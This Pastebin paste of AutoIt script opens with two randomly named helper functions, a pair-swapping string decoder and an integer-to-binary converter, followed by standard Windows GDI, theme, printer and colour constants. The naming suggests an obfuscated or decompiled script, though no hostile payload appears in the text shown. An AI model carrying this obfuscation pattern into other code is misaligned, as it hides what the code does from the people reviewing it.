Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Func tznhxlbucosri($stext)
- Local $result, $i, $sparams
- $result = ""
- $i = 1
- While $i < StringLen($stext)
- $result &= StringMid($stext, $i + 1, 1) & StringMid($stext, $i, 1)
- $i = $i + 2
- WEnd
- If Mod(StringLen($stext), 2) <> 0 Then
- $result &= StringRight($stext, 1)
- EndIf
- Return $result
- EndFunc
- Func ypdszwhkho($iint)
- Local $b = ""
- For $i = 1 To 32
- $b = BitAND($iint, 1) & $b
- $iint = BitShift($iint, 1)
- Next
- Return $b
- EndFunc
- Global Const $fr_private = 16
- Global Const $fr_not_enum = 32
- Global Const $compression_bitmap_png = 0
- Global Const $compression_bitmap_jpeg = 1
- Global Const $bs_dibpattern = 5
- Global Const $bs_dibpattern8x8 = 8
- Global Const $bs_dibpatternpt = 6
- Global Const $bs_hatched = 2
- Global Const $bs_hollow = 1
- Global Const $bs_null = 1
- Global Const $bs_pattern = 3
- Global Const $bs_pattern8x8 = 7
- Global Const $bs_solid = 0
- Global Const $hs_bdiagonal = 3
- Global Const $hs_cross = 4
- Global Const $hs_diagcross = 5
- Global Const $hs_fdiagonal = 2
- Global Const $hs_horizontal = 0
- Global Const $hs_vertical = 1
- Global Const $dib_pal_colors = 1
- Global Const $dib_rgb_colors = 0
- Global Const $ca_negative = 1
- Global Const $ca_log_filter = 2
- Global Const $illuminant_device_default = 0
- Global Const $illuminant_a = 1
- Global Const $illuminant_b = 2
- Global Const $illuminant_c = 3
- Global Const $illuminant_d50 = 4
- Global Const $illuminant_d55 = 5
- Global Const $illuminant_d65 = 6
- Global Const $illuminant_d75 = 7
- Global Const $illuminant_f2 = 8
- Global Const $illuminant_tungsten = $illuminant_a
- Global Const $illuminant_daylight = $illuminant_c
- Global Const $illuminant_fluorescent = $illuminant_f2
- Global Const $illuminant_ntsc = $illuminant_c
- Global Const $bi_rgb = 0
- Global Const $bi_rle8 = 1
- Global Const $bi_rle4 = 2
- Global Const $bi_bitfields = 3
- Global Const $bi_jpeg = 4
- Global Const $bi_png = 5
- Global Const $alternate = 1
- Global Const $winding = 2
- Global Const $dwmwa_ncrendering_enabled = 1
- Global Const $dwmwa_ncrendering_policy = 2
- Global Const $dwmwa_transitions_forcedisabled = 3
- Global Const $dwmwa_allow_ncpaint = 4
- Global Const $dwmwa_caption_button_bounds = 5
- Global Const $dwmwa_nonclient_rtl_layout = 6
- Global Const $dwmwa_force_iconic_representation = 7
- Global Const $dwmwa_flip3d_policy = 8
- Global Const $dwmwa_extended_frame_bounds = 9
- Global Const $dwmwa_has_iconic_bitmap = 10
- Global Const $dwmwa_disallow_peek = 11
- Global Const $dwmwa_excluded_from_peek = 12
- Global Const $dwmncrp_usewindowstyle = 0
- Global Const $dwmncrp_disabled = 1
- Global Const $dwmncrp_enabled = 2
- Global Const $dwmflip3d_default = 0
- Global Const $dwmflip3d_excludebelow = 1
- Global Const $dwmflip3d_excludeabove = 2
- Global Const $dm_bitsperpel = 262144
- Global Const $dm_collate = 32768
- Global Const $dm_color = 2048
- Global Const $dm_copies = 256
- Global Const $dm_defaultsource = 512
- Global Const $dm_displayfixedoutput = 536870912
- Global Const $dm_displayflags = 2097152
- Global Const $dm_displayfrequency = 4194304
- Global Const $dm_displayorientation = 128
- Global Const $dm_dithertype = 67108864
- Global Const $dm_duplex = 4096
- Global Const $dm_formname = 65536
- Global Const $dm_icmintent = 16777216
- Global Const $dm_icmmethod = 8388608
- Global Const $dm_logpixels = 131072
- Global Const $dm_mediatype = 33554432
- Global Const $dm_nup = 64
- Global Const $dm_orientation = 1
- Global Const $dm_panningheight = 268435456
- Global Const $dm_panningwidth = 134217728
- Global Const $dm_paperlength = 4
- Global Const $dm_papersize = 2
- Global Const $dm_paperwidth = 8
- Global Const $dm_pelsheight = 1048576
- Global Const $dm_pelswidth = 524288
- Global Const $dm_position = 32
- Global Const $dm_printquality = 1024
- Global Const $dm_scale = 16
- Global Const $dm_ttoption = 16384
- Global Const $dm_yresolution = 8192
- Global Const $dmpaper_letter = 1
- Global Const $dmpaper_lettersmall = 2
- Global Const $dmpaper_tabloid = 3
- Global Const $dmpaper_ledger = 4
- Global Const $dmpaper_legal = 5
- Global Const $dmpaper_statement = 6
- Global Const $dmpaper_executive = 7
- Global Const $dmpaper_a3 = 8
- Global Const $dmpaper_a4 = 9
- Global Const $dmpaper_a4small = 10
- Global Const $dmpaper_a5 = 11
- Global Const $dmpaper_b4 = 12
- Global Const $dmpaper_b5 = 13
- Global Const $dmpaper_folio = 14
- Global Const $dmpaper_quarto = 15
- Global Const $dmpaper_10x14 = 16
- Global Const $dmpaper_11x17 = 17
- Global Const $dmpaper_note = 18
- Global Const $dmpaper_env_9 = 19
- Global Const $dmpaper_env_10 = 20
- Global Const $dmpaper_env_11 = 21
- Global Const $dmpaper_env_12 = 22
- Global Const $dmpaper_env_14 = 23
- Global Const $dmpaper_csheet = 24
- Global Const $dmpaper_dsheet = 25
- Global Const $dmpaper_esheet = 26
- Global Const $dmpaper_env_dl = 27
- Global Const $dmpaper_env_c5 = 28
- Global Const $dmpaper_env_c3 = 29
- Global Const $dmpaper_env_c4 = 30
- Global Const $dmpaper_env_c6 = 31
- Global Const $dmpaper_env_c65 = 32
- Global Const $dmpaper_env_b4 = 33
- Global Const $dmpaper_env_b5 = 34
- Global Const $dmpaper_env_b6 = 35
- Global Const $dmpaper_env_italy = 36
- Global Const $dmpaper_env_monarch = 37
- Global Const $dmpaper_env_personal = 38
- Global Const $dmpaper_fanfold_us = 39
- Global Const $dmpaper_fanfold_std_german = 40
- Global Const $dmpaper_fanfold_lgl_german = 41
- Global Const $dmpaper_iso_b4 = 42
- Global Const $dmpaper_japanese_postcard = 43
- Global Const $dmpaper_9x11 = 44
- Global Const $dmpaper_10x11 = 45
- Global Const $dmpaper_15x11 = 46
- Global Const $dmpaper_env_invite = 47
- Global Const $dmpaper_reserved_48 = 48
- Global Const $dmpaper_reserved_49 = 49
- Global Const $dmpaper_letter_extra = 50
- Global Const $dmpaper_legal_extra = 51
- Global Const $dmpaper_tabloid_extra = 52
- Global Const $dmpaper_a4_extra = 53
- Global Const $dmpaper_letter_transverse = 54
- Global Const $dmpaper_a4_transverse = 55
- Global Const $dmpaper_letter_extra_transverse = 56
- Global Const $dmpaper_a_plus = 57
- Global Const $dmpaper_b_plus = 58
- Global Const $dmpaper_letter_plus = 59
- Global Const $dmpaper_a4_plus = 60
- Global Const $dmpaper_a5_transverse = 61
- Global Const $dmpaper_b5_transverse = 62
- Global Const $dmpaper_a3_extra = 63
- Global Const $dmpaper_a5_extra = 64
- Global Const $dmpaper_b5_extra = 65
- Global Const $dmpaper_a2 = 66
- Global Const $dmpaper_a3_transverse = 67
- Global Const $dmpaper_a3_extra_transverse = 68
- Global Const $dmpaper_dbl_japanese_postcard = 69
- Global Const $dmpaper_a6 = 70
- Global Const $dmpaper_jenv_kaku2 = 71
- Global Const $dmpaper_jenv_kaku3 = 72
- Global Const $dmpaper_jenv_chou3 = 73
- Global Const $dmpaper_jenv_chou4 = 74
- Global Const $dmpaper_letter_rotated = 75
- Global Const $dmpaper_a3_rotated = 76
- Global Const $dmpaper_a4_rotated = 77
- Global Const $dmpaper_a5_rotated = 78
- Global Const $dmpaper_b4_jis_rotated = 79
- Global Const $dmpaper_b5_jis_rotated = 80
- Global Const $dmpaper_japanese_postcard_rotated = 81
- Global Const $dmpaper_dbl_japanese_postcard_rotated = 82
- Global Const $dmpaper_a6_rotated = 83
- Global Const $dmpaper_jenv_kaku2_rotated = 84
- Global Const $dmpaper_jenv_kaku3_rotated = 85
- Global Const $dmpaper_jenv_chou3_rotated = 86
- Global Const $dmpaper_jenv_chou4_rotated = 87
- Global Const $dmpaper_b6_jis = 88
- Global Const $dmpaper_b6_jis_rotated = 89
- Global Const $dmpaper_12x11 = 90
- Global Const $dmpaper_jenv_you4 = 91
- Global Const $dmpaper_jenv_you4_rotated = 92
- Global Const $dmpaper_p16k = 93
- Global Const $dmpaper_p32k = 94
- Global Const $dmpaper_p32kbig = 95
- Global Const $dmpaper_penv_1 = 96
- Global Const $dmpaper_penv_2 = 97
- Global Const $dmpaper_penv_3 = 98
- Global Const $dmpaper_penv_4 = 99
- Global Const $dmpaper_penv_5 = 100
- Global Const $dmpaper_penv_6 = 101
- Global Const $dmpaper_penv_7 = 102
- Global Const $dmpaper_penv_8 = 103
- Global Const $dmpaper_penv_9 = 104
- Global Const $dmpaper_penv_10 = 105
- Global Const $dmpaper_p16k_rotated = 106
- Global Const $dmpaper_p32k_rotated = 107
- Global Const $dmpaper_p32kbig_rotated = 108
- Global Const $dmpaper_penv_1_rotated = 109
- Global Const $dmpaper_penv_2_rotated = 110
- Global Const $dmpaper_penv_3_rotated = 111
- Global Const $dmpaper_penv_4_rotated = 112
- Global Const $dmpaper_penv_5_rotated = 113
- Global Const $dmpaper_penv_6_rotated = 114
- Global Const $dmpaper_penv_7_rotated = 115
- Global Const $dmpaper_penv_8_rotated = 116
- Global Const $dmpaper_penv_9_rotated = 117
- Global Const $dmpaper_penv_10_rotated = 118
- Global Const $dmpaper_user = 256
- Global Const $dmbin_upper = 1
- Global Const $dmbin_lower = 2
- Global Const $dmbin_middle = 3
- Global Const $dmbin_manual = 4
- Global Const $dmbin_envelope = 5
- Global Const $dmbin_envmanual = 6
- Global Const $dmbin_auto = 7
- Global Const $dmbin_tractor = 8
- Global Const $dmbin_smallfmt = 9
- Global Const $dmbin_largefmt = 10
- Global Const $dmbin_largecapacity = 11
- Global Const $dmbin_cassette = 14
- Global Const $dmbin_formsource = 15
- Global Const $dmbin_user = 256
- Global Const $dmres_draft = -1
- Global Const $dmres_low = -2
- Global Const $dmres_medium = -3
- Global Const $dmres_high = -4
- Global Const $dmdo_default = 0
- Global Const $dmdo_90 = 1
- Global Const $dmdo_180 = 2
- Global Const $dmdo_270 = 3
- Global Const $dmdfo_default = 0
- Global Const $dmdfo_stretch = 1
- Global Const $dmdfo_center = 2
- Global Const $dmcolor_monochrome = 1
- Global Const $dmcolor_color = 2
- Global Const $dmdup_simplex = 1
- Global Const $dmdup_vertical = 2
- Global Const $dmdup_horizontal = 3
- Global Const $dmtt_bitmap = 1
- Global Const $dmtt_download = 2
- Global Const $dmtt_subdev = 3
- Global Const $dmtt_download_outline = 4
- Global Const $dmcollate_false = 0
- Global Const $dmcollate_true = 1
- Global Const $dm_grayscale = 1
- Global Const $dm_interlaced = 2
- Global Const $dmnup_system = 1
- Global Const $dmnup_oneup = 2
- Global Const $dmicmmethod_none = 1
- Global Const $dmicmmethod_system = 2
- Global Const $dmicmmethod_driver = 3
- Global Const $dmicmmethod_device = 4
- Global Const $dmicmmethod_user = 256
- Global Const $dmicm_saturate = 1
- Global Const $dmicm_contrast = 2
- Global Const $dmicm_colorimetric = 3
- Global Const $dmicm_abs_colorimetric = 4
- Global Const $dmicm_user = 256
- Global Const $dmmedia_standard = 1
- Global Const $dmmedia_transparency = 2
- Global Const $dmmedia_glossy = 3
- Global Const $dmmedia_user = 256
- Global Const $dmdither_none = 1
- Global Const $dmdither_coarse = 2
- Global Const $dmdither_fine = 3
- Global Const $dmdither_lineart = 4
- Global Const $dmdither_errordiffusion = 5
- Global Const $dmdither_reserved6 = 6
- Global Const $dmdither_reserved7 = 7
- Global Const $dmdither_reserved8 = 8
- Global Const $dmdither_reserved9 = 9
- Global Const $dmdither_grayscale = 10
- Global Const $dmdither_user = 256
- Global Const $enum_current_settings = -1
- Global Const $enum_registry_settings = -2
- Global Const $device_fonttype = 2
- Global Const $raster_fonttype = 1
- Global Const $truetype_fonttype = 4
- Global Const $ntm_bold = 32
- Global Const $ntm_dsig = 2097152
- Global Const $ntm_italic = 1
- Global Const $ntm_multiplemaster = 524288
- Global Const $ntm_nonnegative_ac = 65536
- Global Const $ntm_ps_opentype = 131072
- Global Const $ntm_regular = 64
- Global Const $ntm_tt_opentype = 262144
- Global Const $ntm_type1 = 1048576
- Global Const $floodfillborder = 0
- Global Const $floodfillsurface = 1
- Global Const $ad_counterclockwise = 1
- Global Const $ad_clockwise = 2
- Global Const $dcb_accumulate = 2
- Global Const $dcb_disable = 8
- Global Const $dcb_enable = 4
- Global Const $dcb_reset = 1
- Global Const $dcb_set = BitOR($dcb_reset, $dcb_accumulate)
- Global Const $dcx_window = 1
- Global Const $dcx_cache = 2
- Global Const $dcx_parentclip = 32
- Global Const $dcx_clipsiblings = 16
- Global Const $dcx_clipchildren = 8
- Global Const $dcx_noresetattrs = 4
- Global Const $dcx_lockwindowupdate = 1024
- Global Const $dcx_excludergn = 64
- Global Const $dcx_intersectrgn = 128
- Global Const $dcx_intersectupdate = 512
- Global Const $dcx_validate = 2097152
- Global Const $ggo_bezier = 3
- Global Const $ggo_bitmap = 1
- Global Const $ggo_glyph_index = 128
- Global Const $ggo_gray2_bitmap = 4
- Global Const $ggo_gray4_bitmap = 5
- Global Const $ggo_gray8_bitmap = 6
- Global Const $ggo_metrics = 0
- Global Const $ggo_native = 2
- Global Const $ggo_unhinted = 256
- Global Const $gm_compatible = 1
- Global Const $gm_advanced = 2
- Global Const $mm_anisotropic = 8
- Global Const $mm_hienglish = 5
- Global Const $mm_himetric = 3
- Global Const $mm_isotropic = 7
- Global Const $mm_loenglish = 4
- Global Const $mm_lometric = 2
- Global Const $mm_text = 1
- Global Const $mm_twips = 6
- Global Const $r2_black = 1
- Global Const $r2_copypen = 13
- Global Const $r2_last = 16
- Global Const $r2_masknotpen = 3
- Global Const $r2_maskpen = 9
- Global Const $r2_maskpennot = 5
- Global Const $r2_mergenotpen = 12
- Global Const $r2_mergepen = 15
- Global Const $r2_mergepennot = 14
- Global Const $r2_nop = 11
- Global Const $r2_not = 6
- Global Const $r2_notcopypen = 4
- Global Const $r2_notmaskpen = 8
- Global Const $r2_notmergepen = 2
- Global Const $r2_notxorpen = 10
- Global Const $r2_white = 16
- Global Const $r2_xorpen = 7
- Global Const $blackonwhite = 1
- Global Const $coloroncolor = 3
- Global Const $halftone = 4
- Global Const $whiteonblack = 2
- Global Const $stretch_andscans = $blackonwhite
- Global Const $stretch_deletescans = $coloroncolor
- Global Const $stretch_halftone = $halftone
- Global Const $stretch_orscans = $whiteonblack
- Global Const $ta_baseline = 24
- Global Const $ta_bottom = 8
- Global Const $ta_top = 0
- Global Const $ta_center = 6
- Global Const $ta_left = 0
- Global Const $ta_right = 2
- Global Const $ta_noupdatecp = 0
- Global Const $ta_rtlreading = 256
- Global Const $ta_updatecp = 1
- Global Const $vta_baseline = $ta_baseline
- Global Const $vta_bottom = $ta_right
- Global Const $vta_top = $ta_left
- Global Const $vta_center = $ta_center
- Global Const $vta_left = $ta_bottom
- Global Const $vta_right = $ta_top
- Global Const $udf_bgr = 1
- Global Const $udf_rgb = 0
- Global Const $mwt_identity = 1
- Global Const $mwt_leftmultiply = 2
- Global Const $mwt_rightmultiply = 3
- Global Const $mwt_set = 4
- Global Const $monitor_defaulttonearest = 2
- Global Const $monitor_defaulttonull = 0
- Global Const $monitor_defaulttoprimary = 1
- Global Const $pt_bezierto = 4
- Global Const $pt_lineto = 2
- Global Const $pt_moveto = 6
- Global Const $pt_closefigure = 1
- Global Const $bpbf_compatiblebitmap = 0
- Global Const $bpbf_dib = 1
- Global Const $bpbf_topdowndib = 2
- Global Const $bpbf_topdownmonodib = 3
- Global Const $bppf_erase = 1
- Global Const $bppf_noclip = 2
- Global Const $bppf_nonclient = 4
- Global Const $dtt_textcolor = 1
- Global Const $dtt_bordercolor = 2
- Global Const $dtt_shadowcolor = 4
- Global Const $dtt_shadowtype = 8
- Global Const $dtt_shadowoffset = 16
- Global Const $dtt_bordersize = 32
- Global Const $dtt_fontprop = 64
- Global Const $dtt_colorprop = 128
- Global Const $dtt_stateid = 256
- Global Const $dtt_calcrect = 512
- Global Const $dtt_applyoverlay = 1024
- Global Const $dtt_glowsize = 2048
- Global Const $dtt_callback = 4096
- Global Const $dtt_composited = 8192
- Global Const $dtt_validbits = BitOR($dtt_textcolor, $dtt_bordercolor, $dtt_shadowcolor, $dtt_shadowtype, $dtt_shadowoffset, $dtt_bordersize, $dtt_fontprop, $dtt_colorprop, $dtt_stateid, $dtt_calcrect, $dtt_applyoverlay, $dtt_glowsize, $dtt_composited)
- Global Const $tst_none = 0
- Global Const $tst_single = 1
- Global Const $tst_continuous = 2
- Global Const $stap_allow_nonclient = 1
- Global Const $stap_allow_controls = 2
- Global Const $stap_allow_webcontent = 4
- Global Const $gbf_direct = 1
- Global Const $gbf_copy = 2
- Global Const $gbf_validbits = BitOR($gbf_direct, $gbf_copy)
- Global Const $sz_thdocprop_author = "Author"
- Global Const $sz_thdocprop_canonicalname = "ThemeName"
- Global Const $sz_thdocprop_displayname = "DisplayName"
- Global Const $sz_thdocprop_tooltip = "ToolTip"
- Global Const $ts_min = 0
- Global Const $ts_true = 1
- Global Const $ts_draw = 2
- Global Const $po_class = 2
- Global Const $po_global = 3
- Global Const $po_notfound = 4
- Global Const $po_part = 1
- Global Const $po_state = 0
- Global Const $tmt_bool = 203
- Global Const $tmt_color = 204
- Global Const $tmt_dibdata = 2
- Global Const $tmt_diskstream = 213
- Global Const $tmt_enum = 200
- Global Const $tmt_filename = 206
- Global Const $tmt_font = 210
- Global Const $tmt_glyphdibdata = 8
- Global Const $tmt_hbitmap = 212
- Global Const $tmt_int = 202
- Global Const $tmt_intlist = 211
- Global Const $tmt_margins = 205
- Global Const $tmt_position = 208
- Global Const $tmt_rect = 209
- Global Const $tmt_size = 207
- Global Const $tmt_string = 201
- Global Const $tmt_alwaysshowsizingbar = 2208
- Global Const $tmt_autosize = 2202
- Global Const $tmt_bgfill = 2205
- Global Const $tmt_borderonly = 2203
- Global Const $tmt_composited = 2204
- Global Const $tmt_compositedopaque = 2219
- Global Const $tmt_drawborders = 2214
- Global Const $tmt_flatmenus = 1001
- Global Const $tmt_glyphonly = 2207
- Global Const $tmt_glyphtransparent = 2206
- Global Const $tmt_integralsizing = 2211
- Global Const $tmt_localizedmirrorimage = 2220
- Global Const $tmt_mirrorimage = 2209
- Global Const $tmt_noetchedeffect = 2215
- Global Const $tmt_sourcegrow = 2212
- Global Const $tmt_sourceshrink = 2213
- Global Const $tmt_textapplyoverlay = 2216
- Global Const $tmt_textglow = 2217
- Global Const $tmt_textitalic = 2218
- Global Const $tmt_transparent = 2201
- Global Const $tmt_uniformsizing = 2210
- Global Const $tmt_userpicture = 5001
- Global Const $tmt_accentcolorhint = 3823
- Global Const $tmt_activeborder = 1611
- Global Const $tmt_activecaption = 1603
- Global Const $tmt_appworkspace = 1613
- Global Const $tmt_background = 1602
- Global Const $tmt_blendcolor = 5003
- Global Const $tmt_bodytextcolor = 3827
- Global Const $tmt_bordercolor = 3801
- Global Const $tmt_bordercolorhint = 3822
- Global Const $tmt_btnface = 1616
- Global Const $tmt_btnhighlight = 1621
- Global Const $tmt_btnshadow = 1617
- Global Const $tmt_btntext = 1619
- Global Const $tmt_buttonalternateface = 1626
- Global Const $tmt_captiontext = 1610
- Global Const $tmt_dkshadow3d = 1622
- Global Const $tmt_edgedkshadowcolor = 3807
- Global Const $tmt_edgefillcolor = 3808
- Global Const $tmt_edgehighlightcolor = 3805
- Global Const $tmt_edgelightcolor = 3804
- Global Const $tmt_edgeshadowcolor = 3806
- Global Const $tmt_fillcolor = 3802
- Global Const $tmt_fillcolorhint = 3821
- Global Const $tmt_fromcolor1 = 2001
- Global Const $tmt_fromcolor2 = 2002
- Global Const $tmt_fromcolor3 = 2003
- Global Const $tmt_fromcolor4 = 2004
- Global Const $tmt_fromcolor5 = 2005
- Global Const $tmt_glowcolor = 3816
- Global Const $tmt_glyphtextcolor = 3819
- Global Const $tmt_glyphtransparentcolor = 3820
- Global Const $tmt_gradientactivecaption = 1628
- Global Const $tmt_gradientcolor1 = 3810
- Global Const $tmt_gradientcolor2 = 3811
- Global Const $tmt_gradientcolor3 = 3812
- Global Const $tmt_gradientcolor4 = 3813
- Global Const $tmt_gradientcolor5 = 3814
- Global Const $tmt_gradientinactivecaption = 1629
- Global Const $tmt_graytext = 1618
- Global Const $tmt_heading1textcolor = 3825
- Global Const $tmt_heading2textcolor = 3826
- Global Const $tmt_highlight = 1614
- Global Const $tmt_highlighttext = 1615
- Global Const $tmt_hottracking = 1627
- Global Const $tmt_inactiveborder = 1612
- Global Const $tmt_inactivecaption = 1604
- Global Const $tmt_inactivecaptiontext = 1620
- Global Const $tmt_infobk = 1625
- Global Const $tmt_infotext = 1624
- Global Const $tmt_light3d = 1623
- Global Const $tmt_menu = 1605
- Global Const $tmt_menubar = 1631
- Global Const $tmt_menuhilight = 1630
- Global Const $tmt_menutext = 1608
- Global Const $tmt_scrollbar = 1601
- Global Const $tmt_shadowcolor = 3815
- Global Const $tmt_textbordercolor = 3817
- Global Const $tmt_textcolor = 3803
- Global Const $tmt_textcolorhint = 3824
- Global Const $tmt_textshadowcolor = 3818
- Global Const $tmt_transparentcolor = 3809
- Global Const $tmt_window = 1606
- Global Const $tmt_windowframe = 1607
- Global Const $tmt_windowtext = 1609
- Global Const $tmt_atlasimage = 8000
- Global Const $tmt_bgtype = 4001
- Global Const $tmt_bordertype = 4002
- Global Const $tmt_contentalignment = 4006
- Global Const $tmt_filltype = 4003
- Global Const $tmt_glyphtype = 4012
- Global Const $tmt_glyphfontsizingtype = 4014
- Global Const $tmt_halign = 4005
- Global Const $tmt_iconeffect = 4009
- Global Const $tmt_imagelayout = 4011
- Global Const $tmt_imageselecttype = 4013
- Global Const $tmt_offsettype = 4008
- Global Const $tmt_sizingtype = 4004
- Global Const $tmt_textshadowtype = 4010
- Global Const $tmt_truesizescalingtype = 4015
- Global Const $tmt_valign = 4007
- Global Const $tmt_glyphimagefile = 3008
- Global Const $tmt_imagefile = 3001
- Global Const $tmt_imagefile1 = 3002
- Global Const $tmt_imagefile2 = 3003
- Global Const $tmt_imagefile3 = 3004
- Global Const $tmt_imagefile4 = 3005
- Global Const $tmt_imagefile5 = 3006
- Global Const $tmt_scaledbackground = 7001
- Global Const $tmt_bodyfont = 809
- Global Const $tmt_captionfont = 801
- Global Const $tmt_glyphfont = 2601
- Global Const $tmt_heading1font = 807
- Global Const $tmt_heading2font = 808
- Global Const $tmt_icontitlefont = 806
- Global Const $tmt_menufont = 803
- Global Const $tmt_msgboxfont = 805
- Global Const $tmt_smallcaptionfont = 802
- Global Const $tmt_statusfont = 804
- Global Const $tmt_alphalevel = 2402
- Global Const $tmt_alphathreshold = 2415
- Global Const $tmt_animationdelay = 2428
- Global Const $tmt_animationduration = 5006
- Global Const $tmt_bordersize = 2403
- Global Const $tmt_charset = 403
- Global Const $tmt_colorizationcolor = 2431
- Global Const $tmt_colorizationopacity = 2432
- Global Const $tmt_framespersecond = 2426
- Global Const $tmt_fromhue1 = 1801
- Global Const $tmt_fromhue2 = 1802
- Global Const $tmt_fromhue3 = 1803
- Global Const $tmt_fromhue4 = 1804
- Global Const $tmt_fromhue5 = 1805
- Global Const $tmt_glowintensity = 2429
- Global Const $tmt_glyphindex = 2418
- Global Const $tmt_gradientratio1 = 2406
- Global Const $tmt_gradientratio2 = 2407
- Global Const $tmt_gradientratio3 = 2408
- Global Const $tmt_gradientratio4 = 2409
- Global Const $tmt_gradientratio5 = 2410
- Global Const $tmt_height = 2417
- Global Const $tmt_imagecount = 2401
- Global Const $tmt_mincolordepth = 1301
- Global Const $tmt_mindpi1 = 2420
- Global Const $tmt_mindpi2 = 2421
- Global Const $tmt_mindpi3 = 2422
- Global Const $tmt_mindpi4 = 2423
- Global Const $tmt_mindpi5 = 2424
- Global Const $tmt_opacity = 2430
- Global Const $tmt_pixelsperframe = 2427
- Global Const $tmt_progresschunksize = 2411
- Global Const $tmt_progressspacesize = 2412
- Global Const $tmt_roundcornerheight = 2405
- Global Const $tmt_roundcornerwidth = 2404
- Global Const $tmt_saturation = 2413
- Global Const $tmt_textbordersize = 2414
- Global Const $tmt_textglowsize = 2425
- Global Const $tmt_tocolor1 = 2006
- Global Const $tmt_tocolor2 = 2007
- Global Const $tmt_tocolor3 = 2008
- Global Const $tmt_tocolor4 = 2009
- Global Const $tmt_tocolor5 = 2010
- Global Const $tmt_tohue1 = 1806
- Global Const $tmt_tohue2 = 1807
- Global Const $tmt_tohue3 = 1808
- Global Const $tmt_tohue4 = 1809
- Global Const $tmt_tohue5 = 1810
- Global Const $tmt_truesizestretchmark = 2419
- Global Const $tmt_width = 2416
- Global Const $tmt_transitiondurations = 6000
- Global Const $tmt_captionmargins = 3603
- Global Const $tmt_contentmargins = 3602
- Global Const $tmt_sizingmargins = 3601
- Global Const $tmt_minsize = 3403
- Global Const $tmt_minsize1 = 3404
- Global Const $tmt_minsize2 = 3405
- Global Const $tmt_minsize3 = 3406
- Global Const $tmt_minsize4 = 3407
- Global Const $tmt_minsize5 = 3408
- Global Const $tmt_normalsize = 3409
- Global Const $tmt_offset = 3401
- Global Const $tmt_textshadowoffset = 3402
- Global Const $tmt_animationbuttonrect = 5005
- Global Const $tmt_atlasrect = 8002
- Global Const $tmt_customsplitrect = 5004
- Global Const $tmt_defaultpanesize = 5002
- Global Const $tmt_captionbarheight = 1205
- Global Const $tmt_captionbarwidth = 1204
- Global Const $tmt_menubarheight = 1209
- Global Const $tmt_menubarwidth = 1208
- Global Const $tmt_paddedborderwidth = 1210
- Global Const $tmt_scrollbarheight = 1203
- Global Const $tmt_scrollbarwidth = 1202
- Global Const $tmt_sizingborderwidth = 1201
- Global Const $tmt_smcaptionbarheight = 1207
- Global Const $tmt_smcaptionbarwidth = 1206
- Global Const $tmt_alias = 1404
- Global Const $tmt_atlasinputimage = 8001
- Global Const $tmt_author = 604
- Global Const $tmt_classicvalue = 3202
- Global Const $tmt_colorschemes = 401
- Global Const $tmt_company = 603
- Global Const $tmt_copyright = 605
- Global Const $tmt_cssname = 1401
- Global Const $tmt_description = 608
- Global Const $tmt_displayname = 601
- Global Const $tmt_lastupdated = 1403
- Global Const $tmt_sizes = 402
- Global Const $tmt_text = 3201
- Global Const $tmt_tooltip = 602
- Global Const $tmt_url = 606
- Global Const $tmt_version = 607
- Global Const $tmt_xmlname = 1402
- Global Const $tmt_name = 600
- Global Const $color_aqua = 65535
- Global Const $color_black = 0
- Global Const $color_blue = 255
- Global Const $color_cream = 16776176
- Global Const $color_fuchsia = 16711935
- Global Const $color_gray = 8421504
- Global Const $color_green = 32768
- Global Const $color_lime = 65280
- Global Const $color_maroon = 9116770
- Global Const $color_medblue = 708
- Global Const $color_medgray = 10526884
- Global Const $color_moneygreen = 12639424
- Global Const $color_navy = 128
- Global Const $color_olive = 8421376
- Global Const $color_purple = 8388736
- Global Const $color_red = 16711680
- Global Const $color_silver = 12632256
- Global Const $color_skyblue = 10930928
- Global Const $color_teal = 32896
- Global Const $color_white = 16777215
- Global Const $color_yellow = 16776960
- Global Const $clr_none = -1
- Global Const $clr_default = -16777216
- Global Const $clr_aqua = 16776960
- Global Const $clr_black = 0
- Global Const $clr_blue = 16711680
- Global Const $clr_cream = 15793151
- Global Const $clr_fuchsia = 16711935
- Global Const $clr_gray = 8421504
- Global Const $clr_green = 32768
- Global Const $clr_lime = 65280
- Global Const $clr_maroon = 6429835
- Global Const $clr_medblue = 12845568
- Global Const $clr_medgray = 10789024
- Global Const $clr_moneygreen = 12639424
- Global Const $clr_navy = 8388608
- Global Const $clr_olive = 32896
- Global Const $clr_purple = 8388736
- Global Const $clr_red = 255
- Global Const $clr_silver = 12632256
- Global Const $clr_skyblue = 15780518
- Global Const $clr_teal = 8421376
- Global Const $clr_white = 16777215
- Global Const $clr_yellow = 65535
- Global Const $cc_anycolor = 256
- Global Const $cc_fullopen = 2
- Global Const $cc_rgbinit = 1
- Global Const $ilc_mask = 1
- Global Const $ilc_color = 0
- Global Const $ilc_colorddb = 254
- Global Const $ilc_color4 = 4
- Global Const $ilc_color8 = 8
- Global Const $ilc_color16 = 16
- Global Const $ilc_color24 = 24
- Global Const $ilc_color32 = 32
- Global Const $ilc_palette = 2048
- Global Const $ilc_mirror = 8192
- Global Const $ilc_peritemmirror = 32768
- Global Const $ilcf_move = 0
- Global Const $ilcf_swap = 1
- Global Const $ild_normal = 0
- Global Const $ild_transparent = 1
- Global Const $ild_blend25 = 2
- Global Const $ild_blend50 = 4
- Global Const $ild_mask = 16
- Global Const $ild_image = 32
- Global Const $ild_rop = 64
- Global Const $ild_overlaymask = 3840
- Global Const $ils_normal = 0
- Global Const $ils_glow = 1
- Global Const $ils_shadow = 2
- Global Const $ils_saturate = 4
- Global Const $ils_alpha = 8
- Global Const $tagpoint = "struct;long X;long Y;endstruct"
- Global Const $tagrect = "struct;long Left;long Top;long Right;long Bottom;endstruct"
- Global Const $tagsize = "struct;long X;long Y;endstruct"
- Global Const $tagmargins = "int cxLeftWidth;int cxRightWidth;int cyTopHeight;int cyBottomHeight"
- Global Const $tagfiletime = "struct;dword Lo;dword Hi;endstruct"
- Global Const $tagsystemtime = "struct;word Year;word Month;word Dow;word Day;word Hour;word Minute;word Second;word MSeconds;endstruct"
- Global Const $tagtime_zone_information = "struct;long Bias;wchar StdName[32];word StdDate[8];long StdBias;wchar DayName[32];word DayDate[8];long DayBias;endstruct"
- Global Const $tagnmhdr = "struct;hwnd hWndFrom;uint_ptr IDFrom;INT Code;endstruct"
- Global Const $tagcomboboxexitem = "uint Mask;int_ptr Item;ptr Text;int TextMax;int Image;int SelectedImage;int OverlayImage;" & "int Indent;lparam Param"
- Global Const $tagnmcbedragbegin = $tagnmhdr & ";int ItemID;wchar szText[260]"
- Global Const $tagnmcbeendedit = $tagnmhdr & ";bool fChanged;int NewSelection;wchar szText[260];int Why"
